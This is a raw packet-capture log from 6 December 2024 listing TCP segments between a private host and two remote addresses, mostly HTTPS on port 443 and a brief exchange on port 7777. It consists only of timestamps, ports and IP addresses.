Dec 6, 2024 15:53:40.813215971 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.813462973 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.813561916 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.813563108 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.813584089 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.813596010 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.816250086 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.816293001 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.816417933 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.816577911 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.816586971 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.088851929 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.088876009 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.088947058 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.103333950 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.103377104 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.122464895 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.236551046 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.236551046 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.236574888 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.236581087 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.267591953 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.267638922 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.269831896 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.270128965 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.270147085 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.282427073 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.283571005 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.283591986 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.284041882 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.284060955 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.410710096 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.411864042 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.411879063 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.412311077 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.412314892 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.718072891 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.721482038 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.721532106 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.721544981 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.721560001 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.721610069 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.721682072 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.721682072 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.721702099 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.721710920 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.724517107 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.724559069 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.724701881 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.724841118 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.724852085 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.859318972 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.862699986 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.862746954 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.863676071 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.863703966 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.863703966 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.863723040 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.863733053 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.866350889 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.866399050 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:41.866462946 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.866601944 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:41.866616964 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.309259892 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.309747934 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.309765100 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.310230017 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.310235977 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.532249928 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.532741070 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.532761097 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.533219099 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.533224106 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.744710922 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.744771957 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.744849920 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.745023012 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.745043039 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.745049953 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.745055914 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.747663021 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.747701883 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.747838974 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.747972012 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.747984886 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.822006941 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.822566032 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.822602034 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.823146105 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.823153019 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.968935966 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.972495079 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.972541094 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.972553015 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.972563982 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.972712994 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.972744942 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.972762108 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.972775936 CET	49894	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.972781897 CET	443	49894	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.975749969 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.975794077 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:42.975918055 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.976033926 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:42.976053953 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.258508921 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.261570930 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.261634111 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.261678934 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.261678934 CET	49895	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.261698008 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.261709929 CET	443	49895	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.264566898 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.264615059 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.264743090 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.264882088 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.264897108 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.452830076 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.453397036 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.453423023 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.454276085 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.454284906 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.609123945 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.609631062 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.609663010 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.610105991 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.610117912 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.888180971 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.888204098 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.888286114 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.888305902 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.888542891 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.888550043 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.888571024 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.888712883 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.888746023 CET	443	49896	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.889674902 CET	49896	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.891323090 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.891359091 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.891536951 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.891695023 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:43.891710043 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:43.944756031 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:53:43.993401051 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:53:44.044734955 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.048088074 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.048141003 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.048142910 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.048182011 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.048207045 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.048221111 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.048222065 CET	49897	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.048230886 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.048238039 CET	443	49897	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.051104069 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.051153898 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.051332951 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.051492929 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.051512003 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.463917971 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.464585066 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.464606047 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.465053082 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.465058088 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.699042082 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.699615002 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.699652910 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.700107098 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.700114012 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.898783922 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.898813009 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.898869991 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.898874998 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.898910046 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.899108887 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.899127007 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.899137020 CET	49898	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.899142981 CET	443	49898	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.902069092 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.902117968 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.902187109 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.902348995 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.902364969 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.988231897 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.988987923 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.989016056 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:44.989496946 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:44.989502907 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.135760069 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.138653040 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.139127016 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.139235020 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.139259100 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.139276028 CET	49899	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.139282942 CET	443	49899	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.142201900 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.142225027 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.142359018 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.142513990 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.142529011 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.424762011 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.427843094 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.427908897 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.427977085 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.427994967 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.428003073 CET	49900	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.428009033 CET	443	49900	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.430792093 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.430835009 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.431050062 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.431349039 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.431368113 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.612101078 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.613796949 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.613826036 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.614377975 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.614384890 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.849517107 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.849992037 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.850024939 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:45.850462914 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:45.850471973 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.051009893 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.054379940 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.054728031 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.054776907 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.054776907 CET	49901	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.054799080 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.054810047 CET	443	49901	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.057853937 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.057893038 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.057964087 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.058109045 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.058125019 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.284178019 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.287796974 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.287853956 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.287987947 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.287987947 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.288038015 CET	49902	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.288055897 CET	443	49902	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.291996956 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.292040110 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.292253017 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.292404890 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.292418003 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.777122974 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.777641058 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.777662039 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.778107882 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.778112888 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.870243073 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.870884895 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.870909929 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:46.871341944 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:46.871347904 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.153773069 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.159663916 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.159684896 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.160106897 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.160113096 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.214876890 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.217968941 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.218029022 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.218082905 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.218082905 CET	49903	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.218108892 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.218118906 CET	443	49903	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.221016884 CET	49909	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.221080065 CET	443	49909	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.221141100 CET	49909	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.221283913 CET	49909	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.221301079 CET	443	49909	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.308901072 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.311599970 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.311651945 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.311652899 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.311726093 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.311765909 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.311786890 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.311798096 CET	49904	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.311804056 CET	443	49904	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.314666033 CET	49910	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.314718008 CET	443	49910	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.314825058 CET	49910	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.314954996 CET	49910	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.314970016 CET	443	49910	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.588452101 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.591650009 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.594310045 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.595077991 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.595094919 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.595104933 CET	49905	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.595110893 CET	443	49905	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.601068020 CET	49911	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.601120949 CET	443	49911	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.611253977 CET	49911	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.612162113 CET	49911	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.612179995 CET	443	49911	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.773072004 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.777323008 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.777359009 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:47.806693077 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:47.806703091 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.018239021 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.018706083 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.018731117 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.019165993 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.019171000 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.206805944 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.210618973 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.210710049 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.212667942 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.212824106 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.212846041 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.212860107 CET	49906	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.212866068 CET	443	49906	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.215759039 CET	49913	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.215806007 CET	443	49913	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.216249943 CET	49913	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.216458082 CET	49913	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.216474056 CET	443	49913	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.455858946 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.458838940 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.458915949 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.458970070 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.458992004 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.459002018 CET	49908	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.459007978 CET	443	49908	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.461905956 CET	49914	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.461954117 CET	443	49914	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.462075949 CET	49914	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.462184906 CET	49914	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.462201118 CET	443	49914	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.938184023 CET	443	49909	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.938642979 CET	49909	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.938683033 CET	443	49909	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:48.939119101 CET	49909	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:48.939126015 CET	443	49909	13.107.246.63	192.168.2.7
